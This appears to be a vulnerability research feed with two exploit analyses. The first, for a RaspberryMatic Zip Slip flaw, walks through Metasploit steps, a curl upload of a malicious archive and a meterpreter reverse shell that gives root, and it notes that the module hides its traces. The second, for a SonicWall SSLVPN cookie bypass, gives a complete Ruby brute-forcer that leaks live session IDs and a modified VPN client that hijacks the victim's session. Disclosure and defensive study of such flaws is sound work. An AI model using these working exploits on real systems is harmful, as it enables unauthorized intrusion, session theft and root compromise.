Activity Feed
- Government or Industry Alert (https://www.cisa.gov/news-events/alerts/2025/01/29/cisa-adds-one-known-exploited-vulnerability-catalog)
Technical Analysis
RaspberryMatic is a free and non-commercial open-source operating system for running a smart-home IoT central to provide connectivity to the homematicIP / HomeMatic hardware line of IoT devices. It can be directly installed on a CCU3 or ELV Charly hardware device. Alternatively, it can also be installed on a wide range of freely available single-board-computers (SBC) like a RaspberryPi, ASUS Tinkerboard, Hardkernel ODROID or hardware platforms like an Intel NUC system. Furthermore, it can be run as a virtual appliance in modern virtualization environments (e.g. Proxmox VE, VirtualBox, Synology VMM, Docker/OCI, Kubernetes/K8s, vmWare ESXi, etc).
RaspberryMatic / OCCU contains a unauthenticated remote code execution (RCE) vulnerability, caused by multiple issues within the Java based HMIPServer.jar component. The webui allows for Firmware uploads which can be reached through the URL /pages/jpages/system/DeviceFirmware/addFirmware
.
This allows an unauthenticated attacker to upload a malicious .tgz archive to the server, which will be automatically extracted without any further checks. As this entry can contain ../sequences, it is possible to break out of the predefined temp directory and write files to other locations outside this path.
This vulnerability is commonly known as the Zip Slip vulnerability and can be used to overwrite arbitrary files on the main filesystem. It is therefore possible to overwrite the watchdog script with a malicious payload in /usr/local/addons/mediola/bin
, which will be executed every five minutes through a cron job where attackers can gain remote code execution as root user, allowing a full system compromise.
The full details of this vulnerability can be found in the GHSA-q967-q4j8-637h security disclosure from Jens Maus.
You can easily test this vulnerability by downloading a vulnerable OVA image from here and install it in VirtualBox or VMware Fusion.
Proof of Concept
- Launch Metasploit
- select the zip slip module
- set TARGETPAYLOADPATH to
../../../../../../../../../..//usr/local/addons/mediola/bin/watchdog
to overwrite watchdog script with payload
- run the module
- compress the resulting tar file to .tgz format
- lauch a Listener
- upload the malicious
msf.tgz
file usingcurl
- wait maximum five minutes for
cron
to kick-in and run the overwritten watchdog script
- Bingo, a
meterpreter
session should pop-up…
msf6 > use exploit/multi/fileformat/zip_slip [*] No payload configured, defaulting to linux/x86/meterpreter/reverse_tcp msf6 exploit(multi/fileformat/zip_slip) > options Module options (exploit/multi/fileformat/zip_slip): Name Current Setting Required Description ---- --------------- -------- ----------- FILENAME msf.tar yes The name of the archive file FTYPE tar yes The archive type (Accepted: tar, zip) TARGETPAYLOADPATH ../payload.bin yes The targeted path for payload Payload options (linux/x86/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 192.168.201.8 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port **DisablePayloadHandler: True (no handler will be created!)** Exploit target: Id Name -- ---- 0 Manually determined View the full module info with the info, or info -d command. msf6 exploit(multi/fileformat/zip_slip) > set TARGETPAYLOADPATH ../../../../../../../../../..//usr/local/addons/mediola/bin/watchdog TARGETPAYLOADPATH => ../../../../../../../../../..//usr/local/addons/mediola/bin/watchdog msf6 exploit(multi/fileformat/zip_slip) > exploit [+] msf.tar stored at /root/.msf4/local/msf.tar [*] When extracted, the payload is expected to extract to: [*] ../../../../../../../../../..//usr/local/addons/mediola/bin/watchdog msf6 exploit(multi/fileformat/zip_slip) > gzip /root/.msf4/local/msf.tar [*] exec: gzip /root/.msf4/local/msf.tar msf6 exploit(multi/fileformat/zip_slip) > mv /root/.msf4/local/msf.tar.gz /root/.msf4/local/msf.tgz [*] exec: mv /root/.msf4/local/msf.tar.gz /root/.msf4/local/msf.tgz msf6 exploit(multi/fileformat/zip_slip) > use multi/handler [*] Using configured payload cmd/unix/reverse_bash msf6 exploit(multi/handler) > set payload linux/x86/meterpreter/reverse_tcp payload => linux/x86/meterpreter/reverse_tcp msf6 exploit(multi/handler) > set lport 4444 lport => 4444 msf6 exploit(multi/handler) > exploit -j -z [*] Exploit running as background job 0. [*] Exploit completed, but no session was created. [*] Started reverse TCP handler on 0.0.0.0:4444 msf6 exploit(multi/handler) > jobs Jobs ==== Id Name Payload Payload opts -- ---- ------- ------------ 0 Exploit: multi/handler linux/x86/meterpreter/reverse_tcp tcp://0.0.0.0:4444
Upload malicious compressed tar file.
# curl --insecure -H "Content-type: multipart/form-data" -F filename=@/root/.msf4/local/msf.tgz https://192.168.201.6/pages/jpages/system/DeviceFirmware/addFirmware ${addDevFirmwareInfoCorrupt}
Wait five minutes…
msf6 exploit(multi/handler) > [*] Sending stage (1017704 bytes) to 192.168.201.6 [*] Meterpreter session 1 opened (192.168.201.8:4444 -> 192.168.201.6:47982) at 2025-01-28 21:00:01 +0000 msf6 exploit(multi/handler) > sessions -i Active sessions =============== Id Name Type Information Connection -- ---- ---- ----------- ---------- 1 meterpreter x86/linux root @ 192.168.201.6 192.168.201.8:4444 -> 192.168.201.6:47982 (192.168.201.6) msf6 exploit(multi/handler) > sessions -i 1 [*] Starting interaction with 1... meterpreter > sysinfo Computer : 192.168.201.6 OS : (Linux 6.1.74) Architecture : x64 BuildTuple : i486-linux-musl Meterpreter : x86/linux meterpreter > getuid Server username: root meterpreter > shell Process 15622 created. Channel 1 created. uname -a Linux homematic-raspi 6.1.74 #1 SMP PREEMPT Tue Jan 30 06:46:28 UTC 2024 x86_64 GNU/Linux exit meterpreter >
Pretty straightforward, but unfortunately the existing zip-slip module in Metasploit only supports a limited amount of payloads.
However, RaspberryMatic is supported on a range platforms like Raspberry Pi, ASUS Tinkerboard or ODROID which are all ARM based single-board-computers.
Therefore I developed a separate Metasploit module: PR19841 that covers most of the RaspberryMatic supported architectures and fully automates the attack.
Indicators of Compromise (IOCs)
Unfortunately there is not much to go on in the log files. The only IOC might be the overwritten watchdog script in /usr/local/addons/mediola/bin
which contains a malicious payload. However, the Metasploit module will cover these tracks by restoring the original watchdog script after a successful attack .
Mitigation
RaspberryMatic versions <= 3.73.9.20240130
are vulnerable. Please upgrade your RaspberryMatic installation to the latest version or at least to version 3.75.6.20240316
where this issue has been fixed.
References
CVE-2024-24578
GHSA-q967-q4j8-637h security disclosure
Metasploit Module PR 19841: RaspberryMatic Unauthenticated RCE via Zip Slip
Credits
h0ng10 => discovery of the vulnerability
jens-maus => verifier and remediation
Technical Analysis
On January 7, 2025, SonicWall announced an authentication bypass affecting SonicOS, the operating system used by many SonicWall appliances. The vulnerability was credited to Daan Keuper, Thijs Alkemade, and Khaled Nassar of Computest Security. Successful exploitation of this vulnerability, which was assigned CVE-2024-53704, allows a remote unauthenticated attacker to hijack existing authenticated client SSLVPN sessions. As such, this is a very useful vulnerability for threat actors as an initial access vector.
Based on our research, CVE-2024-53704 is exploitable in the default SSLVPN configuration. Multi-factor authentication is bypassed during exploitation, facilitating initial access even via accounts with MFA enabled. Exploitation does not require the knowledge of an existing username or password. In order to compromise a user’s account, the user must actively be logged in at the time of exploitation. Notably, exploitation is intrusive; the user’s SSLVPN connection will be repeatedly terminated and reconnected while the threat actor hijacks the connection.
I’ve assigned the Attacker Value as “Very High”, since the exploit facilitates unauthenticated initial access on a system typically exposed to the public internet. I’ve assigned the exploitability as “High”, since the exploit does cause some disruption to normal user activity, and internal network access can be choppy. For more exploitation details and IOCs, refer to the Rapid7 Analysis tab.
Technical Analysis
Overview
On January 7, 2025, SonicWall announced an authentication bypass affecting SonicOS, the operating system used by many SonicWall appliances. This authentication bypass, which is assigned CVE-2024-53704 and affects many SonicWall devices, permits an unauthenticated attacker to bypass the SSLVPN authentication process. Since SSLVPN is often exposed to the public internet, an SSLVPN authentication bypass could facilitate initial access. The vendor stated when the advisory was published that there was no evidence of exploitation in the wild.
Successful exploitation of this vulnerability allows a remote unauthenticated attacker to hijack existing authenticated client SSLVPN sessions. Based on our research, CVE-2024-53704 is exploitable in the default SSLVPN configuration. Furthermore, multi-factor authentication is bypassed during exploitation, facilitating initial access even via accounts with MFA enabled. Exploitation does not require the knowledge of an existing username or password.
The vulnerability is credited to Daan Keuper, Thijs Alkemade, and Khaled Nassar of Computest Security. Researchers at Bishop Fox published a video of their own private proof-of-concept exploit running, and their exploit behaves similarly to the one outlined in this analysis.
Per the SonicWall advisory, the following product and versions are affected by CVE-2024-53704:
Affected Platforms | Affected Versions |
---|---|
Gen7 Firewalls – TZ270, TZ270W, TZ370, TZ370W, TZ470, TZ470W, TZ570, TZ570W, TZ570P, TZ670, NSa 2700, NSa 3700,NSa 4700, NSa 5700, NSa 6700, NSsp 10700, NSsp 11700, NSsp 13700, NSsp 15700 | 7.1.x (7.1.1-7058 and older versions), and version 7.1.2-7019. |
Gen7 NSv – NSv 270, NSv 470, NSv 870 | 7.1.x (7.1.1-7058 and older versions), and version 7.1.2-7019. |
TZ80 | Version 8.0.0-8035 |
Analysis
CVE-2024-53704 is described as an insecure base64 decoding vulnerability affecting session cookies. Our analysis is based on a SonicWall NSv appliance, and we diffed the vulnerable 7.1.2-7019-R6288 version against the patched 7.1.3-7015-R6965 version.
Based on our findings, exploitation permits an attacker to leverage the SSLVPN server as a boolean blind oracle to leak valid VPN session cookies. The vulnerability flow requires that an unauthenticated attacker provide cookie prefix guesses to a web API. When a partial cookie prefix that matches a live session cookie is provided, the server will incorrectly return a positive response. We’ll take a look at this below.
After configuring and snapshotting the pre- and post-patch NSv appliance, we can see that the NetExtender SSLVPN binary, sonicosv
, has been changed. We start by looking at the list of strings that the binary contains in IDA. Querying for “sslvpn” returns an interesting-sounding string – getSslvpnSessionFromCookie
. The advisory mentions a vulnerable base64 decoding process for SSLVPN session cookies, which aligns with what we’re looking for.
The string is used in one function in the 7.1.2-7019-R6288 version of sonicosv
. Viewing the BinDiff change percentages of the pre- and post-patch sonicosv
indicates that this function has undergone some notable changes. The unannotated pre-patch pseudo C for this function is below.
__int64 __fastcall sub_2ACB160(char *a1) { size_t v1; // rax char *v2; // rax char *v3; // rbp __int64 v5; // [rsp+0h] [rbp-10h] if ( !a1 ) return 0LL; v1 = strlen(a1); if ( v1 == 32 ) { if ( (unsigned __int8)sub_2AD0210(a1, 32) ) return sub_2ACC210((__int64)a1, 1u); } else if ( v1 == 44 ) { v2 = (char *)sub_263BE50(a1); v3 = v2; if ( v2 ) { if ( (unsigned __int8)sub_2AD0210(v2, 32) ) { v5 = sub_2ACC210((__int64)v3, 1u); sub_2CBAE10(v3, "getSslvpnSessionFromCookie", 0x1FAu); return v5; } sub_2CBAE10(v3, "getSslvpnSessionFromCookie", 0x201u); } } return 0LL; }
Cross-referencing the sub_2ACB160
function points us toward a function called sub_2ABF120
. When we search for xrefs of that function, we arrive at a table, which is shown below. This table contains a list of web API endpoints and their respective handler functions. At [1], we observe the API path /__api__/v1/client/sessionstatus
, and it indicates that the sub_2ABF120
function we found is its handler.
[..SNIP..] .data:0000000006C9F2B0 dq offset aApiV1ClientVpn ; "/__api__/v1/client/vpnparameters" .data:0000000006C9F2B8 dq offset sub_2ABF040 .data:0000000006C9F2C0 db 1 .data:0000000006C9F2C1 db 0 .data:0000000006C9F2C2 db 0 .data:0000000006C9F2C3 db 0 .data:0000000006C9F2C4 db 0 .data:0000000006C9F2C5 db 0 .data:0000000006C9F2C6 db 0 .data:0000000006C9F2C7 db 0 .data:0000000006C9F2C8 dq offset aApiV1ClientSes ; "/__api__/v1/client/sessionstatus" .data:0000000006C9F2D0 dq offset sub_2ABF120 // [1] .data:0000000006C9F2D8 db 1 .data:0000000006C9F2D9 db 0 .data:0000000006C9F2DA db 0 .data:0000000006C9F2DB db 0 .data:0000000006C9F2DC db 0 .data:0000000006C9F2DD db 0 .data:0000000006C9F2DE db 0 .data:0000000006C9F2DF db 0 .data:0000000006C9F2E0 dq offset aApiV1ClientNxv ; "/__api__/v1/client/nxversion" .data:0000000006C9F2E8 dq offset sub_2ABF5A0 [..SNIP..]
In the decompilation for the sessionstatus
function, we see early string checks for cookie
. Since this is a handler function for a web API, it seems likely that this is a header or URL parameter input.
__int64 __fastcall sub_2ABF120(unsigned int a1, _DWORD *a2) { // ..SNIP.. v2 = sub_2635E00(); v3 = sub_2635EA0(a2, "cookie"); v4 = (char *)sub_26364D0(v3); v5 = sub_2ACB160(v4); // The “getSslvpnSessionFromCookie” function we were previously looking at. if ( (unsigned __int8)sub_2ACB0F0(v5) ) { // ..SNIP..
Further down in this function, we see string references to session statuses, such as idle
, active
, and notfound
. These look like possible response strings. We’ll attempt to confirm that with a curl request.
# curl -k 'https://192.168.154.137:4433/__api__/v1/client/sessionstatus?cookie=TEST' {"status":"notfound","idle":0,"remaining":-1,"pwdExpDays":-1,"forceUserLogoutBySchedule":false}
Attempting to access this URL on the SSLVPN default port, which is 4433, has returned “notfound”. This is an indication that we’ve hit the code path we’ve been looking for, and it seems like we’re querying for live sessions. Since this pre-auth function calls the previous interesting-looking getSslvpnSessionFromCookie
function, we’ll investigate that code path further.
Below is a cleaned up version of the getSslvpnSessionFromCookie
function. We’ve made some guesses about what some function names and local variables are, such as verifyCookieCheckSum
and cookie_str
, based on analysis and contextual information. We can see if we pass a 44-character string as a session cookie at [2], it will be base64 decoded at [3]. Next, the checksum of the decoded value is verified at 4. Finally, at [5], the decoded cookie string is used to lookup a session object from a global session table.
struct_session *__fastcall getSslvpnSessionFromCookie(char *cookie_str) { size_t cookie_len; // rax char *v2; // rax char *v3; // rbp struct_session *session_from_id; // [rsp+0h] [rbp-10h] if ( !cookie_str ) return 0LL; cookie_len = strlen(cookie_str); if ( cookie_len == 32 ) { if ( !(unsigned __int8)verifyCookieCheckSum(cookie_str, 32) ) return 0LL; return maybe_get_session_from_id(cookie_str, 1u); } else { if ( cookie_len != 44 ) // <-- [2] return 0LL; v2 = decoder(cookie_str);// <-- [3] base64 decode input v3 = v2; if ( !v2 ) return 0LL; if ( !(unsigned __int8)verifyCookieCheckSum(v2, 32) ) // <-- [4] verify a simple check sum { maybe_free(v3, (__int64)"getSslvpnSessionFromCookie", 0x201u); return 0LL; } session_from_id = maybe_get_session_from_id(v3, 1u); // <-- [5] get an existing session object via the session id string maybe_free(v3, (__int64)"getSslvpnSessionFromCookie", 0x1FAu); return session_from_id; } }
Since the checksum appears to be doing some input validation legwork here, we’ll investigate it further. The checksum is a simple single-character at position 32, computed by xoring the preceding 31 characters of the decoded cookie string. If the first character of the base64 encoded cookie value matches with what has been provided, the checksum is considered valid.
__int64 __fastcall verifyCookieCheckSum(_BYTE *cookie_str, int cookie_len) { _BYTE *cookie_end; // rbx char checksum_calc; // al unsigned int checksum_correct; // r12d char *b64_checksum; // rdi __int16 temp[13]; // [rsp+Eh] [rbp-1Ah] BYREF temp[0] = 0; if ( cookie_len <= 1 ) { cookie_end = cookie_str; } else { cookie_end = &cookie_str[cookie_len - 2 + 1]; checksum_calc = 0; do checksum_calc ^= *cookie_str++; while ( cookie_str != cookie_end ); LOBYTE(temp[0]) = checksum_calc; } checksum_correct = 0; b64_checksum = (char *)b64((char *)temp); if ( b64_checksum ) { LOBYTE(checksum_correct) = *b64_checksum == *cookie_end; maybe_free(b64_checksum, "verifyCookieCheckSum", 0xA9u); } return checksum_correct; }
The cleaned up decompilation of the function maybe_get_session_from_id
is below. We can see at [6] it will loop over every existing session object via a linked list. For every existing session object, the session cookie/ID is compared to what the attacker has supplied. If it matches, the session is returned at [7].
struct_session *__fastcall maybe_get_session_from_id(char *input_str, unsigned int table_idx) { struct_session *session; // r12 __int64 idx; // rax char next_input_char; // dl char next_sessid_char; // cl void **maybe_list_mutex; // [rsp+8h] [rbp-20h] if ( !input_str ) return 0LL; session = (struct_session *)**((_QWORD **)&maybe_global_session_table + 7 * table_idx); if ( !session ) return session; maybe_list_mutex = session->maybe_list_mutex; ListProtect(session->maybe_list_mutex); for ( session = session->first_session; session; session = session->next_session ) // <-- [6] { idx = 0LL; while ( 1 ) { next_input_char = input_str[idx]; if ( !next_input_char || (next_sessid_char = session->session_id_string[idx]) == 0 ) // <-- [8] { finish_success: ListRelease(maybe_list_mutex); return session; // <-- [7] } if ( next_input_char != next_sessid_char ) break; if ( ++idx == 32 ) goto finish_success; } } ListRelease(maybe_list_mutex); return 0LL; }
However, there is a logic flaw at [8], in the !next_input_char ||
part of the “if” expression.
The product assumes that null characters cannot be provided. The string length of the decoded value is never explicitly checked to be 32, since the call to verifyCookieCheckSum
has a length value of 32 passed in. If the attacker can pass in a null character to truncate the string (which they can, thanks to the base64 decoding in getSslvpnSessionFromCookie
), then the function above will return early. The net effect of this is that we can supply an encoded session cookie that has a decoded string length of < 32, which is less than the developers expected.
The two security assumptions here have been broken. The length of the comparison can be much smaller than expected, and we can still provide the checksum at the expected position. So, the attacker can:
- Guess a first character of a session ID and pad the value with null characters up to the expected length. A legitimate session ID is made up of characters in the range a-z, so our guess falls within that range.
- Compute the valid checksum for that single-character session ID and append it to the data.
- Base64-encode and submit the data to the
/__api__/v1/client/sessionstatus
web API.
- Observe that the server considers the data valid, and determine whether the response indicates the data is a prefix for a known session ID.
- Attempt to guess the next character if the response is positive, otherwise return to step 1.
An attacker can leverage this technique to quickly brute force every existing session ID.
We’ll weaponize this leaking capability and demonstrate actually hijacking an SSLVPN session to access the internal network now.
We’ll start by downloading the latest SonicWall NetExtender client for Windows. We’ll connect with known credentials to establish an authenticated session that the attacker can hijack.
We leverage a Ruby proof-of-concept exploit to leak the victim’s session. This exploit is reproduced below.
# PoC for CVE-2024-53704 # # Usage: ruby CVE-2024-53704.rb -t 192.168.86.119 -v # # Note: run with the -v flag for verbose output, this way you can see any partially leaked session IDs require 'base64' require 'socket' require 'openssl' require 'json' require 'cgi' require 'optparse' $verbose = false def log(txt) $stdout.puts txt end def send_http_data(s, data, verbose = false) s.write(data) result = '' content_length = nil while line = s.gets p line if verbose m = line.match(/Content-length: (\d+)\r\n/i) content_length = m[1].to_i if m result << line next unless line == "\r\n" && content_length break if content_length <= 0 content = s.read(content_length) p content if verbose result << content break end result end def calc_checksum(cookie) csum_val = 0 cookie.unpack('C*').each do |c| csum_val ^= c end csum_char = [csum_val].pack('C') Base64.strict_encode64(csum_char)[0] end throw 'test #1 calc_checksum failed' unless calc_checksum('brimacrecikaleuaphithibichiwrip') == 'b' throw 'test #2 calc_checksum failed' unless calc_checksum('tricarotrihoslasihabahaslajotra') == 'Y' throw 'test #2 calc_checksum failed' unless calc_checksum('trigepoviphafrakebripigapedriwe') == 'c' def get_sessionstatus(ip, port, cookie) s = TCPSocket.open(ip, port) if [443, 4433].include?(port) ctx = OpenSSL::SSL::SSLContext.new ctx.set_params(verify_mode: OpenSSL::SSL::VERIFY_NONE) s = OpenSSL::SSL::SSLSocket.new(s, ctx).tap do |socket| socket.sync_close = true socket.connect end end body = "GET /__api__/v1/client/sessionstatus?cookie=#{CGI.escape(cookie)} HTTP/1.1\r\n" body << "Host: #{ip}:#{port}\r\n" body << "Origin: https://#{ip}:#{port}\r\n" body << "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.140 Safari/537.36\r\n" body << "Connection: close\r\n" body << "Content-Length: 0\r\n" body << "\r\n" send_http_data(s, body) end def brute_cookies(ip, port, cookie_prefix = '') alphabet = [*'a'..'z'] alphabet.each do |char| raw_cookie = cookie_prefix raw_cookie += char # a session ID is 32 chars, minus 1 for the checksum. raw_cookie += ([0].pack('C') * (32 - raw_cookie.length - 1)) raw_cookie += calc_checksum(raw_cookie) throw "bad raw_cookie length #{raw_cookie.length}" unless raw_cookie.length == 32 encoded_cookie = Base64.strict_encode64(raw_cookie) # a base64 encoded 32 char string will be 44 chars. throw "bad encoded_cookie length #{encoded_cookie.length}" unless encoded_cookie.length == 44 res = get_sessionstatus(ip, port, encoded_cookie) next if res.include? 'notfound' pp "maybe: #{raw_cookie}" if $verbose if "#{cookie_prefix}#{char}".length == (32 - 1) log "[+] Found a valid session cookie: #{raw_cookie}" else brute_cookies(ip, port, "#{cookie_prefix}#{char}") end end end def hax(ip, port) log "[+] Targeting #{ip}:#{port}" brute_cookies(ip, port) end target_ip = nil target_port = 4433 OptionParser.new do |opts| opts.banner = 'Usage: CVE-2024-53704.rb [options]' opts.on('-t', '--taget=TARGET', 'target IP') do |v| target_ip = v end opts.on('-p', '--port=PORT', 'target port') do |v| target_port = v.to_i end opts.on('-v', '--verbose', 'verbose') do |_v| $verbose = true end end.parse! throw 'set target IP via -t argument' unless target_ip hax(target_ip, target_port)
Let’s see it in action.
# ruby leak.rb -t 192.168.154.137 -p 4433 -v [+] Targeting 192.168.154.137:4433 "maybe: u\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000d" "maybe: ue\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000E" "maybe: uer\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000Y" "maybe: uere\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000B" "maybe: uerep\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000d" "maybe: uerepr\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000B" "maybe: uerepro\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000a" "maybe: uerepros\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000G" "maybe: uereprose\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000f" "maybe: uereprosec\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000H" "maybe: uereprosech\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000d" "maybe: uereproseche\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000E" "maybe: uereprosechec\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000c" "maybe: uereprosechech\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000G" "maybe: uereprosechecho\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000d" "maybe: uereprosechechos\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000B" "maybe: uereprosechechosw\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000c" "maybe: uereprosechechoswa\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000E" "maybe: uereprosechechoswah\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000e" "maybe: uereprosechechoswaho\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000F" "maybe: uereprosechechoswahot\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000Y" "maybe: uereprosechechoswahoth\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000C" "maybe: uereprosechechoswahotho\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000Z" "maybe: uereprosechechoswahothos\u0000\u0000\u0000\u0000\u0000\u0000\u0000F" "maybe: uereprosechechoswahothosp\u0000\u0000\u0000\u0000\u0000\u0000Z" "maybe: uereprosechechoswahothospa\u0000\u0000\u0000\u0000\u0000B" "maybe: uereprosechechoswahothospac\u0000\u0000\u0000\u0000Z" "maybe: uereprosechechoswahothospaca\u0000\u0000\u0000B" "maybe: uereprosechechoswahothospacap\u0000\u0000d" "maybe: uereprosechechoswahothospacape\u0000E" "maybe: uereprosechechoswahothospacapepY" [+] Found a valid session cookie: uereprosechechoswahothospacapepY
Next, we want to hijack the victim’s VPN connection. We could reverse engineer the proprietary SonicWall NetExtender SSLVPN protocol. However, luckily, a GitHub open-source client called nxBender has already done so. We’ll fork the client, scrap the existing authentication code, and add a new parameter for the leaked cookie. We’ll also add a “while” loop to repeatedly take control after the victim client reconnects and kicks us off.
# cat nxbender/__init__.py import configargparse import requests import logging import getpass from colorlog import ColoredFormatter from time import sleep parser = configargparse.ArgumentParser( description='Connect to a netExtender VPN', default_config_files=['/etc/nxbender', '~/.nxbender'], ) parser.add_argument('-s', '--server', required=True) parser.add_argument('-P', '--port', type=int, default=4433, help='Server port - default 4433') parser.add_argument('-S', '--swap', required=True, help='Swap cookie') parser.add_argument('--debug', action='store_true', help='Show debugging information') parser.add_argument('--show-ppp-log', action='store_true', help='Print PPP log messages to stdout') parser.add_argument('-m', '--max-line', type=int, default=1500, help='Maximum length of a single line of PPP data sent to the server') def main(): args = parser.parse_args() if args.debug: loglevel = logging.DEBUG else: loglevel = logging.INFO formatter = ColoredFormatter( "%(log_color)s%(levelname)-8s%(reset)s %(message_log_color)s%(message)s", secondary_log_colors={ 'message': { 'ERROR': 'red', 'CRITICAL': 'red' } } ) logging.basicConfig(level=loglevel) logging.getLogger().handlers[0].setFormatter(formatter) if args.debug: try: from http.client import HTTPConnection # py3 except ImportError: from httplib import HTTPConnection # py2 HTTPConnection.debuglevel = 2 from . import nx, sslconn sess = nx.NXSession(args) # Enter tug-of-war for access while True: try: sess.run() except requests.exceptions.SSLError as e: logging.error("SSL error: %s" % e) # print the server's fingerprint for the user to consider sslconn.print_fingerprint(args.server) except requests.exceptions.ConnectionError as e: message = e.message.reason.message.split(':')[1:][-1] # yuk logging.error("Error connecting to remote host: %s" % message) # The latest Windows client will stop attempting to reconnect if this loops too fast, without a delay sleep(2) # cat nxbender/nx.py #!/usr/bin/env python2 import requests import logging from . import ppp import pyroute2 import ipaddress import atexit import subprocess import sys from requests.adapters import HTTPAdapter from requests.packages.urllib3.poolmanager import PoolManager requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning) try: unicode except NameError: unicode = str class NXSession(object): def __init__(self, options): self.options = options def run(self): self.host = self.options.server + ':%d' % self.options.port self.session = requests.Session() self.session.verify = False self.session.headers = { 'User-Agent': 'Dell SonicWALL NetExtender for Linux 8.1.789', } logging.info("Skipping login >:)") logging.info("Starting session...") self.start_session() logging.info("Dialing up tunnel...") self.tunnel() def start_session(self): # Patch in our stolen cookie self.session.cookies.set("swap", self.options.swap, domain=self.options.server) """ Start a VPN session with the server. Must be logged in. Stores srv_options and routes returned from the server. """ try: resp = self.session.get('https://%s/cgi-bin/sslvpnclient' % self.host, params={ 'launchplatform': 'mac', 'neProto': 3, 'supportipv6': 'no', }, ) except requests.exceptions.ConnectionError: logging.error('The server did not accept the provided swap cookie. Is it correct?') sys.exit(1) error = resp.headers.get('X-NE-Message', None) error = resp.headers.get('X-NE-message', error) if error: logging.error('Server returned error: "%s"' % error) sys.exit(1) srv_options = {} routes = [] # Very dodgily avoid actually parsing the HTML for line in resp.iter_lines(): line = line.strip().decode('utf-8', errors='replace') if line.startswith('<'): continue if line.startswith('}<'): continue try: key, value = line.split(' = ', 1) except ValueError: logging.debug("Unexpected line in session start message: '%s'" % line) if key == 'Route': routes.append(value) elif key not in srv_options: srv_options[key] = value else: logging.debug('Duplicated srv_options value %s = %s' % (key, value)) if "userName" in key: logging.info('Victim user = %s' % value) elif "domainName" in key: logging.info('Domain name = %s' % value) logging.debug("srv_option '%s' = '%s'" % (key, value)) self.srv_options = srv_options self.routes = routes def tunnel(self): """ Begin PPP tunneling. """ tunnel_version = self.srv_options.get('NX_TUNNEL_PROTO_VER', None) if tunnel_version is None: auth_key = self.session.cookies['swap'] elif tunnel_version == '2.0': auth_key = self.srv_options['SessionId'] else: logging.warn("Unknown tunnel version '%s'" % tunnel_version) auth_key = self.srv_options['SessionId'] # a guess self.show_ppp_log = True pppd = ppp.PPPSession(self.options, auth_key, routecallback=self.setup_routes) pppd.run() def setup_routes(self, gateway): ip = pyroute2.IPRoute() for route in set(self.routes): print("ROUTE:", route) net = ipaddress.IPv4Network(unicode(route)) dst = '%s/%d' % (net.network_address, net.prefixlen) ip.route("add", dst=dst, gateway=gateway) logging.info("Remote routing configured, VPN is up") # cat nxbender/ppp.py import subprocess import threading import pty import os import logging import sys from . import sslconn import ssl import signal import select import socket class PPPSession(object): def __init__(self, options, session_id, routecallback=None): self.options = options self.session_id = session_id self.routecallback = routecallback self.pppargs = [ 'debug', 'debug', 'dump', 'logfd', '2', # we extract the remote IP thru this # note: we programmatically inject the target route into /etc/ppp/ip-up for this poc # for example, `/sbin/ip route add 192.168.168.0/24 via 192.0.2.1 dev ppp0` 'lcp-echo-interval', '10', 'lcp-echo-failure', '2', 'ktune', 'local', 'noipdefault', 'noccp', # server is buggy 